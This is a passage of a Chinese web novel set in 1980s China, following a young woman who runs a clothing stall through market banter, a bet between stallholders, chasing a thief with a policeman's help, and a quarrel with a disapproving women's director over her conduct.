在这一片摆摊的都知道冉红霞,隔壁大姐之前也是被冉红霞欺负过的,这两天才又重新到这一片来摆摊。 见柒柒往那边看,还以为她也是被冉红霞坑过的,笑着安慰道。 “小妹还不知道呢吧?前几天冉红霞惹了个叫柒柒的漂亮姑娘,被狠狠怼了一顿。听说那姑娘她爹是公安局长,这不,隔天巡逻队就来了,冉红霞再不敢撒野,这两天连摊都没敢出!” 柒柒有些哭笑不得。 “大姐,你这都听谁说的啊?” 这会儿没什么客人,隔壁摊卖男装的胖大婶也凑过来八卦。 “她那全是自个儿瞎猜的!” “谁说我瞎猜的?别人都这么说的!” 隔壁大姐本来还在犟嘴呢,一看柒柒在支摊挂横幅,凑过来盯着念: “柒—柒—时装摊?” 大姐眼睛瞬间瞪得溜圆:“柒柒?你就是那个柒柒?” 柒柒笑的狡黠。 “我是叫柒柒,不过我爹可不是什么公安局长,这巡逻队的事儿,我也是才刚刚知道...” 她要是公安局长的女儿,怎么可能出来摆摊挣钱呢? 肯定选择躺平了啊! 也不知道这谣言是怎么传出来的,不过结果还挺好,歪打正着。 就是辛苦了这些巡逻队的公安。 大姐闹了个大红脸,不过很快就自我调节了过来,转移话题道。 “嗨,你来得正好!我在这儿摆摊,本来就是来逮你的!” 前两天她隔壁邻居穿了一件蝙蝠衫,她一看就喜欢上了,打听着是从这儿买的,守了两天了。 柒柒爽快地说,“行啊,大姐,你随便挑,你是今天第一单,给你打八八折!” 说着便是把带的十件蝙蝠衫都拿了出来。 大姐连自家摊子都顾不上,兴奋地挑起来。 这次柒柒进的衣服颜色丰富,大姐挑了半天还没拿定主意,却瞧见柒柒又摆出了喇叭裤。 其中一件缀着小米珠的喇叭裤,她一眼就看上了,拿在手里爱不释手,皱着眉头纠结不已。 胖大婶凑过来提议:“一身一起买了呗~!” 大姐一脸犹豫:“一件十块呢,我可舍不得!” 她正纠结着呢,柒柒又把衬衫和半身裙也摆出来了。 法式的花瓣领口衬衫,搭配对称下摆,微泡泡袖,半身裙收腰的大裙摆,下摆拼接不规则的法式双层蕾丝边。 比百货大楼里的那些款式还要精致。 大姐眼睛瞬间就亮起来了,立马问道。 “这一身真好看!我闺女肯定喜欢!多少钱?” “打完折二十二,再送一个缎面的发圈。” 大姐眼睛都不眨一下,咬牙拍板,“行!我要了!给我包起来!” 那可是二十块钱呢。 胖大婶咂了咂嘴,满脸不赞同。 “女儿嘛迟早要嫁人的呀,花这么多钱给她买衣服干啥?浪费钱!” 大姐却毫不在意:“我乐意!” 柒柒看得心里有点发酸。 她小时候穿的全都是邻居不要的旧衣服,地毯上一件二十块钱的T恤都是奢望。 飞快擦了擦眼角的泪珠,笑道。 “行,冲着你这份心,大姐,我破例给你打八折!再送你和你女儿一人一个发圈!” 正说着,远处两个大姐指着柒柒的摊位,满脸不悦地走了过来。 第41章 打赌 柒柒抬眼一瞧,正是她第一次摆摊时,结伴来买的一胖一瘦的两个妇女。 胖大姐眉梢微蹙,抢先嗔怪道。 “你这咋才来啊?雨昨天就停了,别人都早早出摊了,就你这小妮子磨磨蹭蹭的,挣钱都不积极,也忒不勤快了!” “呃...” 柒柒唇角微抽。 她要是勤快的话,不就去找个班上了? 正是因为不勤快,所以才选择来摆摊。 大姐快步走到摊位前,挑中一件花色偏成熟的蝙蝠衫,眼中满是期待。 “我们是头一个到的吧?再给我来件蝙蝠衫,打个八八折呗!” 周柒柒面露歉意,嘴巴努了努。 “真不巧,旁边这个大姐近水楼台,刚帮她闺女要了一身衣裳,你们还真不是第一个来的。” 胖大姐脸上闪过一丝失望,喃喃道。 “啊,明天我妈生日,为了给她也买件蝙蝠衫,我蹲好几个早上了都...” 失望归失望,但她知道柒柒摊上的规矩,咬了咬牙,还是掏了一张大团结,递给周柒柒。 周柒柒一听她是给妈妈买的,心里感觉被戳了一下,有点酸,接钱的手微微一顿,收了回去,眸光一转。 “要不,你把钱给这位大姐,让她帮你捎带一件,我就当没看见!给你们一起打八折!” 说着,她别过脸去,伸手捂住眼睛。 “还能这样?” 两位大姐相视一笑,都对周柒柒充满了感激。 这边说说笑笑的,热闹得很,路过的人都忍不住多看几眼。 第一单的二十九块六毛钱刚到手,立马就有人问喇叭裤的价格。 柒柒热情的回应,“十二块五!” “能便宜不?十块我就买了!” 不等柒柒回答,胖大姐就帮着回答道。 “她家一口价,不用磨嘴皮子!” “那敢情好~!我要了!” “我也要一件!” ...... 这摊子一热起来,人就没断过。 短短一个多小时,就卖出去了二十几件。 其中一大半是蝙蝠衫和喇叭裤,衬衫和半身裙除了一开始卖出去那一身,只零零散散卖出去三件。 这会儿没人了,周柒柒正整理衣服呢,卖男装的大婶凑过来酸溜溜地说道。 “这一身只有年轻女孩能穿,没几个人舍得买的,肯定卖不出去...” 她一早上生意惨淡,路过的男人光看不买,唯一卖掉的几件背心,还是柒柒摊位上的顾客顺手捎带的。 她要价高,客人杀价也狠,忙活一早上才赚了三、四块钱,实在有点难受。 反观旁边卖袜子的大姐,沾了柒柒的光,客人多。 她学着柒柒定了一口实惠价,薄利多销,一早上已经赚了十块钱。 听到隔壁这话,不等柒柒开口,大姐就不乐意了,眉头一皱。 “怎么会卖不出去?照这个势头,不出两个小时...不,一个半小时,人家就能卖完收摊!” 大婶翻了个白眼。 “说得轻巧,咋可能?” “咱们都在这儿摆摊不是一天两天的了,你看谁家摊位三、四个小时就能卖那么多件的?冉红霞都做不到!” 大姐不服气,“不信咱俩打赌?” 大婶立马跟上,“赌就赌!赌多少钱?” 两人一人一句的,互不相让,周柒柒在一旁听得哭笑不得,插嘴道。 “大姐,你要赌,赌你摊位上的啊,赌我这儿得干嘛?” 大姐大手一挥。 “你别管!我对你有信心!” ... 两人正定赌注呢,师范大学的下课铃和食品厂的下工铃响起来了。 大姐一意孤行,周柒柒也没空管,赶紧把摊位收拾整齐。 没几分钟,一群女学生就叽叽喳喳地围了过来。 这波中午的客流一来,柒柒摊位前就没断过人。 女学生本就消费力强,再加上这个年代能上大学的,大多家境不错,还有不少已经工作的,手头宽裕。 看见喜欢的衣裳,掏起钱来一点都不犹豫。 塑料袋哗哗一响,一件件就都卖出去了。 这可急坏了卖男装的大婶,她都无心招呼自己的生意了,眼睛直勾勾地盯着柒柒的摊位。 时不时还念叨点什么。 也不知是不是她的念叨起了作用,中午的人潮退去后,集市渐渐冷清下来。 周柒柒摊位上其他衣服都卖完了,但还剩了一套法式小套装。 卖袜子的大姐瞥了眼师范学校的大时钟,距离打赌的时间只剩不到十分钟了,急得直跺脚,感激催促周柒柒。 “你快吆喝吆喝啊!卖完你好收摊!咱得赚钱啊!” 柒柒哭笑不得地耸了耸肩。 “姐姐,路上都没人了,我吆喝给谁听啊?” “这下完了...” 大姐顿时泄了气,这赌输了钱包可就得出血了。 卖男装的大婶满脸得意,“嘿嘿,愿赌服输~掏钱吧~” 卖袜子的大姐耷拉着脑袋,正要掏兜,周柒柒伸手拦住了她。 “急什么?这不还有十分钟呢!再等等。” 卖男装的大婶撇了撇嘴。 “还等?街上人影都没多少,你不会是想帮她赖账吧?” “赖账?我可不会干这种事!” 柒柒眉眼含笑,瞥了眼不远处师范大学门口的两道人影,神色从容。 “你们不是赌了一块钱吗?这样,你别和她赌了,跟我赌!赌约翻倍!再等十分钟,要是卖不掉,我给你两块钱;要是卖出去了,你给我两块钱!” 卖袜子的大姐人挺好的,她摊子上人多的时候,还会帮她招呼客人。 大姐对她有信心,她可不想让大姐损失钱。 “行!没问题!” 大婶望着没几个人的街道,一脸豪迈。 周柒柒淡定地坐下。 只见一个穿着蓝色喇叭裤、戴着蓝色大肠发圈的女生快步走来,她拽着身旁另一个女生的胳膊,语气急切。 “倩倩~你就信我一回,那个小摊真的和别的不一样,衣服超好看!你肯定喜欢~!” 被唤作倩倩的女生身着精致雪纺裙和米色风衣,无奈地打了个哈欠。 “行了行了,我知道了糖糖,你从中午午睡念叨到现在,一个多小时了,不累啊?我去还不行吗?” 画虽然这么说,但她却是不抱希望。 两人到摊位前时,周柒柒正收拾着给萍姐预留的衣服。 倩倩扫了眼摊位,撇了撇嘴:“什么嘛?这蝙蝠衫满大街都是,你就带我看这个?” 糖糖蹲下身,拿起那套法式小套装,爱不释手地摩挲着。 “不是不是,你看这一身,多漂亮!你下个月生日穿正合适!” 倩倩本不想多看,但是奈不过好友的拉扯,低头瞧了一眼。 然后就是第两眼,第三眼,第四眼... 紧接着,几张大团结就甩了过来。 “老板,这身裙子多少钱?我要了!” 第42章 有小偷 二十五块钱,成交了一套衬衫配半身裙,还附赠一个同色缎面发箍。 看在糖糖热心介绍顾客的份上。 周柒柒又额外给两个小姑娘一人送了一只发圈。 两个人开开心心地朝着校门口走过去,头顶上的大时钟刚好指向一点半。 卖袜子的大姐眉眼舒展,先前的担忧一扫而空,由衷地朝周柒柒竖起大拇指。 “真厉害!这两块钱你该赚!” 反观卖男装的大婶,脸色发灰,磨磨蹭蹭从兜里掏出一把皱巴巴的毛票。 她反复数了几遍,手指微微发颤,才将钱递过去。 “我愿赌服输,这是两块钱,喏,拿着。” 周柒柒一把薅过去,数了数,一毛没少,满意地点了点头。 但随即,却是浅浅从里头抽了三张毛票出来,把剩下的全都塞回了大婶手里。 这年代,女人出来摆摊挣钱不容易,大婶其实没啥坏心眼,她没必要真要她那么多钱。 三毛钱意思意思得了。 “你...” 大婶张了张嘴,想说什么又没说出口,脸上满是局促。 周柒柒随意摆了摆手,把东西一收拾,攥着三毛钱去对面大妈那儿买烤红薯去了。 站了三个多小时,她早就饿得前胸贴后背了。 大妈热情地给她拿了两个大红薯,秤杆扬得高高的。 周柒柒估摸着自己吃不完,便把大些的那个递给卖袜子的大姐,随后转身上了去国营饭店的公交车。 车子开动时,她看见大姐正掰着红薯分给大婶,一人一半。 瞧见她,两人笑着冲她挥手。 周柒柒这衣裳卖完了,可是她俩却还要一直坚持到晚上七、八点,才能收摊。 到了国营饭店,周柒柒照旧点了清蒸鱼,又要了一碗牛肉面。 一个人吃饭,点多了浪费,还容易引人注目,换换口味也好。 饭后,她直奔批发市场。 萍姐已经等她好几天了,看她一直没过来,还以为她上次进多了货没卖完。 “小看我?” 周柒柒轻抿嘴唇。 萍姐正爱不释手地摸着柒柒给她带的新衣服,赶忙笑着否认。 “哪能呢!我可看好你了,比我当年厉害多了!照你这本事,以后说不定我都得跟你讨生活。” “萍姐说笑了,我可不敢当。” 周柒柒诚恳地回应。 她对眼前这位四十岁左右、掌管着G市批发市场最大档口的老板,心里满是敬佩。 “对了。” 萍姐萍姐眸光一闪,想起一件重要的事,赶紧问道。 “你有没有兴趣去咱们G市纺织厂当设计师?” 她和那边的郝厂长是老相识了,知道那边效益差,正急缺周柒柒这样的人才。 前两天见面就顺嘴提了一句,郝厂长当场就让她帮忙问一下。 “纺织厂?”周柒柒重复道。 萍姐点了点头,脸上露出一丝神往。 “是啊,那可是国营大厂,你这设计能力,去了就能转正,待遇好着呢,一个月至少八十块工资,周一到周六早上八点上班,下午六点下班,周日休息,偶尔加加班,出个差...” 她年轻时候做梦都想有这么一个正式编制,想着估计周柒柒一口气就答应了。 却没想到周柒柒只是静静等着她说完,然后一脸茫然地反问道。 “坏处说完了,好处呢?” 这不就打工当牛马吗? 她上辈子都当得够够的了,这辈子有了选择,真的不想再吃上班的苦了。 “你啊你,这都嫌苦...难道打算一直摆地摊?” 萍姐又好气又好笑,周柒柒摇了摇头。 “那倒也不是。” 她现在摆摊,其实只是为了积累一点资金,等钱攒够了,她打算盘一家店面,做自己的时装品牌。 “有想法!” 萍姐眼睛一亮,拍了拍她的肩膀。 “等你想好了,第一时间跟姐说,姐帮你找店面!钱不够的话,姐也可以帮忙出点,就当咱俩合伙了!” 她可是做了十几年服装生意了,眼光毒辣得很,看得出周柒柒将来肯定有大作为。 周柒柒点头应下。 “行,等我再规划规划,攒点设计图。” 说完这个,两人就开始挑款了。 这次摆摊,周柒柒到手四百八十块,拿了两百块进货,还剩不少闲钱。 萍姐看她包里装着那么多钱,赶忙提醒道。 “这几天批发市场有小偷流窜,不少人货都被人抢了,你待会儿出去,一定要看好财物。” 周柒柒想了想,干脆决定。 “那这批货我先不拿了,安全起见,明天我找人来运。” 萍姐点了点她的额头,打趣道,“你呀,是怕拎着手酸吧?真是一点儿苦不想吃。” 在萍姐这儿定完货,柒柒又去了一趟布料店。 她这次不是来买布的,而是从瘪瘪的蛇皮袋里掏出给沈淮川做的睡衣。 让老板帮着找找有没有合适的扣子。 之前买的那些,搭配起来总觉得差点意思。 店里扣子款式繁多,周柒柒挑得专注,随手把蛇皮袋放在脚边。 谁知一转身,一个黑衣男人突然窜出来,抓起袋子拔腿就跑! 糟了!睡衣还在里面呢! 周柒柒想都没想,几乎是本能的拔腿就追。 可她这小体能,哪是小偷的对手啊。 没跑几步就气喘吁吁,眼看着小偷跑出批发市场,上了大路。 她急得眼眶都红了,扯着嗓子大喊:“抓小偷!抓小偷啊!” 这年代的人大多热心,她这一喊,不少人跟着帮忙吆喝。 几个身强力壮的小伙子更是撸起袖子,横穿马路追了上去,大声喝止:“站住!” 看到这情况,路上行驶的几辆车纷纷停下,司机们探出头张望。 其中一辆吉普车的副驾上,坐着个女人,她就是李红娟的妹妹李红芬。 她看都没看外面的混乱,只兴奋地对驾驶座的男人说。 “我今天穿的这条白衬衫,紫裙子,是《庐山恋》里女主角张瑜穿的,我姐姐特意给我买的,你看好不好看?” 雷鸣皱着眉头,“好像在抓小偷,我去帮忙!” 李红芬急忙拉住他。 “哎,别去~!多危险啊!反正偷的又不是咱们!管它呢!” “我是警察!” 雷鸣甩开她的手,头也不回地推开车门冲了出去。 “喂,电影还有十分钟就开场了!你走了,难道让我自己看啊?!” 李红芬在后头急得直跺脚,看着雷鸣的身影越跑越远,一咬牙,也追进了小巷。 但她今天穿的是高跟鞋,还没跑几步呢,跟就跑掉了,再一抬头,哪里还有雷鸣的身影。 第43章 我老公是沈淮川 而这边的巷子里,追贼的戏码还在持续上演。 黑衣小偷跑得很快,显然提前踩过点,对这片地形熟悉得很。 他贴着墙根左拐右绕,几个晃身,就把追赶的小伙子们甩在身后。 周柒柒眼巴巴望着小偷消失的方向,心里“咯噔”一下,以为这下可追不上了。 情急之下,脚下一个踉跄,崴了一下,疼得她眼眶泛红,眼泪在眼眶里直打转,险些就掉了下来。 “真要命~!” 她忍不住轻声嘟囔着,眉头紧紧皱在一起。 就在这个时候,一个身影如闪电般从人群中冲了出来。 那是一个穿着西装的年轻男人,身姿挺拔,步伐矫健,顺着小偷跑的方向,一溜烟就从周柒柒身边刮过。 周柒柒攥紧衣角,咬着牙撑着墙站起来,拖着发疼的右腿,一瘸一拐地跟在后面。 好在,等她气喘吁吁地赶到时,那个黑衣小偷已经被男人死死地按在了地上。 小偷拼命挣扎着,嘴里还不干不净地骂着脏话,但男人却纹丝不动,双手如铁钳一般,紧紧地箍住小偷。 “同志,太谢谢你了!” 周柒柒弯着腰大口喘气。 男人听到这个声音,忍不住抬头,眼睛亮晶晶的,右脸颊的小酒窝若隐若现。 “是你?” 周柒柒看着男人的脸,也有些意外。 “是你啊?这回我记得你了!” 可不就是暴雨天一起救小胖子的那个小伙子吗? “嘿嘿...” 雷鸣耳根泛红,抬手挠了挠后脑勺。 就在这时,小偷猛地一挣,趁机翻了个身就要逃跑。 雷鸣反应极快,一把抱住小偷的右腿。 寒光一闪,小偷抽出弹簧刀,刀刃在夕阳下泛着冷光。 “放手!不然我废了你!” “危险!快松手!” 周柒柒的心提到嗓子眼,声音都变了调。 可雷鸣是警察,怎么可能松手? 他抿紧嘴唇,反手将小偷手腕扣得更紧,双臂死死箍住对方的腰。 “找死!” 小偷恼羞成怒,刀锋朝着雷鸣脖颈狠狠刺去。 千钧一发之际,周柒柒举着辣椒水冲了上来,对着小偷的脸猛喷。 “啊啊啊!” 小偷惨叫着捂住眼睛,踉跄着后退。 周柒柒趁机抬腿踹过去,却因为用力过猛,脚踝疼得眼前直冒金星。 雷鸣被辣椒水呛得直咳嗽,却趁着空隙夺下弹簧刀,反手将小偷制住。 就在这个时候,几个巡警终于气喘吁吁地赶到,掏出铐子将小偷带走。 顺便也把雷鸣和周柒柒都送到了医院。 小偷被辣椒水熏红了眼,没能伤到雷鸣要害,却在他胳膊上划了好几道口子。 而周柒柒本就崴了脚,又一番剧烈跑动,此刻脚踝肿得老高,走路都一瘸一拐。 医院里,两人简单处理了伤口,又配合警察做完笔录。 周柒柒这才知道,眼前这个帅气的小伙,竟是雷政委和周主任的侄子,最近军属院里的红人——雷鸣。 等警察离开,她笑着深深鞠了一躬,递出十张大团结。 “雷鸣同志,谢谢你。看病的钱我已经付了,这一百块是谢礼,你买点好吃的,再置办身新衣服。” 看着他袖口被划得破破烂烂的西装,她语气诚恳。 “这钱我不能要。” 雷鸣双手在胸前乱摆。 “该我谢谢你才对,你救了我的命,你才是我的恩人。” 他低头看着自己受伤的胳膊,语气带着几分懊恼。 “我刚当乘警,对付歹徒太没经验了。” 周柒柒抿着唇坚持,固执地将钱往前递。 “话不能这么说。” “要是你不帮我抓小偷,不就不用受伤了?不行,这钱你必须得拿着!” “就算是不为了这次,也为了那天下暴雨,你帮我挨的那一下!” “真的不行!” 雷鸣慌忙摆手,指尖蹭过周柒柒的掌心又迅速缩回去,赶忙后退几步,固执地继续摇头。 “我是警察,保护群众是我的职责。” 周柒柒看他这么坚持,也知道这钱是给不出去了,只能默默塞回包里,说道。 “那行吧,这恩先欠着,我欠你个人情,以后有机会再还!或者你什么时候需要帮忙了,直接来找我也行~!” 她这么一说,雷鸣眼睛都亮起来了,马上就要答应,却没想到,周柒柒接着说道。 “对了,你还不知道呢吧?咱们还是一个家属院的呢,自我介绍一下,我叫周柒柒~!” 她笑得眉眼弯弯,“我老公是一团团长沈淮川,你叫我沈嫂子就行!” ... 雷鸣刚才还亮晶晶的眼神瞬间黯淡了下来,干巴巴地笑了一声。 “我还是叫你周柒柒吧,我不认识什么沈淮川。” “呃...行吧。” 周柒柒摸了摸鼻子,有些尴尬。 她还以为沈淮川在军属区很有名,谁都知道呢。 她视线乱转,忽然瞥见墙上的时钟,这才发现,居然已经五点多了! 她和赵大姐说好的四点钟在城边等她的! “哎呀,我得走了!” 她赶紧拿起东西要走,雷鸣看她一瘸一拐的,赶忙提议。 “我送你吧,我开车过来的!反正我正好也要回去,正好顺路。” 两人到了城边,赵大姐还在那儿等着呢,柒柒给了她一块钱车钱。 嘱咐赵大姐明天跑一趟批发市场,帮她把货带回家属院。 眼看着舟舟快放学了,她也没改坐驴车,而是继续坐着雷鸣的车了军区。 不过到了军区门口,周柒柒就嚷嚷着让雷鸣停车。 军属区那些军嫂的嘴她可是见识过的。 刚来的那天晚上,沈淮川背着她回家。 第二天就传得沸沸扬扬,说她“会勾引男人”。 要是让人看到雷鸣送她,还不知道会传出什么话呢。 其实依着周柒柒的性格,是完全不在乎别人怎么看,怎么说的。 但最近她在外面做生意,不想博得这么多关注。 免得被人知道了,再带出更多事儿来。 下了车,她隔着安全距离和雷鸣说话。 “谢谢你送我回来,过几天等沈淮川回来,请你到我家里吃饭!你嫂子我做饭还行。” 她一口一个嫂子的,雷鸣听得苦笑不已。 “有时间再说吧,我明天一早就要去上班了,再回来就得下个月了。” 作为乘警,他的工作时间特殊,大半个月都得,班才能休息一次。 两人简单说了两句,周柒柒就一瘸一拐的回家去了。 本想着躲过那些军嫂了,却没想到,这一幕,却被刚从军区办公室出来的周淑华看了个一清二楚。 第44章 你没事儿吧你? 雷鸣望着周柒柒一瘸一拐远去的背影,神色黯然,正独自出神。 冷不丁的,耳朵被人狠狠揪住。 他疼得一激灵,回头便对上了周淑华严厉的目光。 这位婶婶从小把他带大的,比他亲妈还要疼他。 “你怎么又和周柒柒混在一起了?我不是让你离她远些吗?” 周淑华眉头紧皱,侧身瞥了眼空荡的吉普车,双手叉腰,语气中满是质问。 “还有,你不是开车带红芬去看电影了吗?红芬人呢?” 雷鸣这才后知后觉想过来,懊恼地拍了拍脑门。 “糟糕!我把人给忘在大马路上了!” 九月已经入秋,这会儿差不多六点,天色已经有点黑了。 八十年代的治安不比往后。 一个女孩子晚上在外面,还是有点危险的。 雷鸣二话不说,赶紧上车,准备回去找人,周淑华也赶紧跟着一起上车。 两人找了半个多小时,终于在G市军区办公大楼把李红芬给找着了。 下午的时候,雷鸣忽然跑开,她去追,结果鞋跟跑掉了,只好留在原地等雷鸣回来。 可是没想到,等了两个多小时,人都不见回来。 五点多的时候,她等得受不了了,就去上了个厕所。 前后不到十分钟的工夫,再回来,雷鸣没回来,车也没了。 她的包还放在雷鸣车上呢,身上也没钱,没办法,只能一瘸一拐地去军区办公室,嚷嚷着要找雷鸣。 李红芬委屈得不行,一直哭哭啼啼的,那哭声引得办公楼里的人纷纷侧目,事情的来龙去脉也被传得人尽皆知。 这边的人被她闹得没办法,帮她给周淑华打电话没打通,都打到雷政委办公室去了。 阵仗大得不得了。 雷政委回去之后,第一时间要找雷鸣问话。 周淑华见状,赶忙推着雷鸣上楼。 “别拉着他问了,让他先去休息吧,时间不早了,他明天一大早还要赶着去上班呢,我来跟你说就行!” 雷政委皱了皱眉,叹了口气道,“行吧。” 回到房间,她第一时间就帮着雷鸣开脱道。 “鸣鸣他...他不是故意的,他跑出去,是去见义勇为,帮忙抓小偷了,结果不小心受了伤,去医院包扎伤口去了,出来以后,没看见红芬,以为他自己回家了,所以才...” 其实事情的完整经过,找人的路上,周淑华已经找雷鸣问清楚了。 只是关于遇见周柒柒的部分,周淑华没说。 雷政委有些不满地批评道。 “这孩子做事情也太不稳重了,毛毛躁躁的,那么个大个活人都能忘在路上...” 周淑华赶忙帮着辩解道。 “你别这么说他,他又不是故意的!” “你就护着他吧!在你眼里,他永远都没错!你简直比他父母还溺爱他!” 雷政委见惯了她这样护着雷鸣,无奈地摇了摇头。 周淑华没说话,嘴巴撇着不知道在想些什么,一副委曲求全的样子。 雷政委叹了口气,语重心长道。 “淑华,我跟你说过很多次了,你不能因为雷鸣和你弟弟长得像,就...” “有些事,该放下就放下,别总是沉浸在以前那些事情里...” 周淑华嗫嚅着没说话,只是默默从床头柜里拿出了一张有些褪色的老照片。 照片的背景,是一个乡下的牛棚,上面有一个笑得灿烂的年轻男孩,长相和周淑华有几分相似。 她指尖轻轻抚过照片,喃喃道。 “怎么可能放得下,如果建邦没有替我去下乡,没有被那些乡下人推进河里,在城里好好地娶妻生子,孩子这会儿,差不多就和鸣鸣一样大,他们长得那么像,也许就是建邦投胎回来了呢?” 雷政委眉头紧锁,满脸的不赞同。 “你可是上过大学的人,怎么还能相信转世投胎这种封建迷信的说法呢?” 说着,伸手将照片夺过来,锁进办公桌抽屉里,语气坚决。 “不管怎么说,这事就是雷鸣的错,闹得这么大,你必须好好教育他,给他上上课,以后可不能再犯了。” “我说了,错不在他。” 周淑华固执道。 雷政委有些无奈,“错不在他还能在谁?难不成当时有人硬拉着他走?” 周淑华嘴上没说话,但心里却已经把白眼翻到天上去了。 可不就是有人! 可不就是那个周柒柒! 一想到下午亲眼看到的那一幕,她就气不打一处来。 她带大的雷鸣,她心里清楚,他从小到大都乖得很,很懂礼貌,是绝不会把相亲对象扔在马路上。 这一切的根源,都在周柒柒这个乡下来的野丫头身上! 这个周柒柒,先是不知用什么手段勾住了沈淮川。 沈淮川才出任务没多久,她又勾勾搭搭地招惹雷鸣,把她好好的侄子勾得神魂颠倒。 自打她来了军属院,她那些风言风语就没断过。 她还没见过行为这么不检点的军嫂。 作为海子湾军属区的妇女主任,这思想教育课必须得上! 不过对象可不是雷鸣,而是另有其人! 周淑华怒气冲冲地赶到周柒柒家,用力地敲着门。 周柒柒正躺在床上画设计图呢,脚扭了,下午没做饭,喊莹莹过来帮忙。 饭菜是莹莹从食堂打的,手边的茶是莹莹倒的,就连身上穿的睡裙,也是莹莹从后院晾衣绳上取来的。 听到敲门声,她没多想,还以为是莹莹又回来了,穿着睡裙乐呵呵地就去开门了。 却没想门栓刚打开,门就被“哐当”一声撞开—— “你...” 周柒柒看到门口的人不是莹莹,而是满脸怒意的周淑华,而且估摸着来者不善。 微微挑眉,嘴巴里的话立马变了个意思。 “你没事儿吧你?” 第45章 你日子过的好,我受点委屈没关系 周淑华鼓着一肚子气过来,还没开口呢,就被周柒柒给呛了一句,有点难以置信。 “你说什么?” 周柒柒慵懒地耸了耸肩,长长的睫毛忽闪忽闪,一脸的天真无辜。 “我说什么了?不就是问周主任来我家有什么事儿吗?” “你...你分明就不是那个意思!” “哦?那我是什么意思?” 周淑华脸色涨得通红,狠狠瞪了一眼周柒柒。 “你明明是在说我找事!别以为我听不出来!” 周柒柒挑起眉梢,一脸玩味,“难道周主任不是来找事儿的?” “你...你...你...” 周淑华被噎得说不出完整的话,胸脯剧烈起伏着。 “你怎么还能倒打一耙!” 说着说着,她反应过来自己一直被牵着鼻子走,猛地挺直腰板,拽出了大旗。 “我告诉你,淮川出任务这几天,你勾引男人,干的那些不要脸的事儿都被人看见,举报到我跟前了,你作风有问题,我是来给你上思想教育课的!” 周柒柒一脑门问号。 “我干什么不要脸的事儿了?我问心无愧。” 周淑华眼珠子一转,板着脸,语气严肃得像在审讯犯人。 “别的不说,就说下午你坐雷鸣的车回来...你要是真问心无愧,为什么停在军区门口?” 周柒柒就是不想惹麻烦,才选择让雷鸣把车停在军区门口,免得那些军嫂嚼舌根。 没想到这都还能被人当做把柄。 她忍不住翻了个白眼,一脸的无所谓。 “简直莫名其妙!周主任,你这帽子扣得太大了,我不能认,你这个思想教育课,我也上不了。” 说着,她又上下打量起周淑华,伸出食指在脑门旁缓缓转了几圈。 “我建议您去教育教育那个举报的人,她眼睛和脑子估计都出大问题了,再不治可能就危险,得准备吃席了...” 说着又乐呵呵地补充了一句。 “到时候叫上我!我最爱吃大席了!” “吃席?” 周淑华先是一愣,反应过来后气得眼眶发红,声音都带上了哭腔。 “你...你这个小丫头,你是在咒我死?你怎么能...” 话还没说完,却忽然听见一声鸣笛声。 一辆吉普车缓缓驶来,稳稳停在两人面前。 车门打开,修长的腿率先迈了出来,接着是劲瘦的腰肢,宽阔的肩膀,最后露出那张令周柒柒(出于义务)日夜牵挂的脸。 是沈淮川回来了! 她的眼睛(出于义务)瞬间亮了起来,眼底的阴霾一扫而空。 几个镇子发生泥石流和山体滑坡,不光是部队,G市很多政府单位,包括物资局的工作人员都去组织救灾了。 之前和周柒柒一起盖厕所的胡春晓也去帮忙了。 她昨晚就回来了,顺道给大家通了信儿,说是那边的救援工作进行的差不多了。 周柒柒还以为沈淮川至少要周六才能回来呢,没想到这么快就回来了。 而且看样子,除了有点疲惫以外,平平安安的,一点儿事儿都没有。 她有点惊喜,又有点没来由的心酸,怔了一下,没说话。 身为一个军嫂,她这还是第一次等到出任务的丈夫回来,心绪复杂。 周淑华就不一样了,她见得多了。 此时看到沈淮川,跟看到救星一样,快步迎了上去。 “淮川,你回来得正好!我有事要跟你好好说说。” “周主任。” 沈淮川点头打了个招呼,目光在两人之间转了转。 “有什么事儿进去说。” 沈淮川这辆车是打头的,后面的大部队马上也都回来了,估计家属院很快就要热闹起来了。 周淑华瞥了眼周柒柒,冷哼一声:“行,看在你的面子上,我给她留点脸。” 周柒柒撇了撇嘴,懒得理会她,跑到厨房去了。 进屋之后,周淑华不知道跟沈淮川说了句什么,只见他客气地请她在客厅落座。 “我去给您倒杯茶。” 说着便是拎着茶壶到了厨房,皱眉看向周柒柒。 “周主任有事情要说,你先回避一下。” “回避就回避。” 周柒柒刚给沈淮川倒好一杯温水,想着他刚从外面回来,肯定渴了。 此刻听他这话,心里像是被扎了根刺,闷闷的。 二话不说,当着他的面仰头将水一饮而尽,拎起茶壶就往卧室走。 沈淮川望着她气鼓鼓的背影,眼底的疲惫瞬间消散,唇角不自觉勾起一抹温柔的笑意。 而客厅里的周淑华正伸长脖子盼着。 她下午从办公室出来就没喝水,一直撑到现在,嗓子都干得发疼。 见沈淮川出来茶壶还是空的,立刻明白是周柒柒在使坏,重重拍了下桌子。 “淮川,我就直说了,你这个媳妇,生活作风有问题!” 接着便滔滔不绝地数落起来。 家里的房门就一层薄木板,根本挡不住声音。 周柒柒趴在床上,握着笔的手顿了又顿,周淑华的话一句句钻进耳朵。 “你不在才几天啊,在军属院这么多双眼睛盯着,她就敢这样不检点,在城里还不知道干什么去了!” “总之,你一定得好好说说她,让她安安分分的做好军嫂。别一天到晚地在外面瞎晃!” “刚才你没回来,我都气哭了...其实只要你日子过得好,师母受点委屈没关系。” ...... 沈淮川只是偶尔应一声“嗯”,最后淡淡回了句:“我知道了。” 周柒柒听得火冒三丈,眼眶发烫,心里像燃着一团火。 她咬着笔头,满心的委屈。 这沈淮川怕是真信了周淑华的鬼话,待会儿要找他兴师问罪了。 她可不会选择委屈自己,低三下四,忍气吞声地解释,估计两人待会儿要吵起来。 才结婚多久就要闹矛盾,这算什么事儿? 她之所以不喜欢婚姻,还有另外一个很重要的原因,就是讨厌争吵。 屁大点事儿,一点小误会,亲戚朋友一两句挑拨,就能吵个没完。 上辈子她在家写作业,背景音乐永远都是父母的争吵。 她晚上做梦,梦里都是两张扭曲的脸庞在尖叫,经常睡不好觉,一宿一宿地做噩梦。 说了快二十分钟,周淑华终于走了,沈淮川皱着眉头打开了卧室的门。 看他这副表情,周柒柒冷着脸抓起外套就要往外走。 沈淮川眼疾手快,一把拉住她,“你要去哪儿?” “你要和我吵,咱们去外面慢慢吵,舟舟还在画画呢,让她听见了不好。” 周柒柒声音尖锐,双臂紧紧抱在胸前,挑眉看向他,眼神倔强又带着几分委屈,眼眶微微发红,像只炸了毛的小猫。 沈淮川一愣,看着她拖着肿胀的脚踝执意要走,一副“身残志坚”的倔强模样,心猛地揪了一下。 他伸手将人稳稳捞进怀里,声音低沉又温柔:“你别走,我没打算和你吵架。” 第46章 我不会骗你 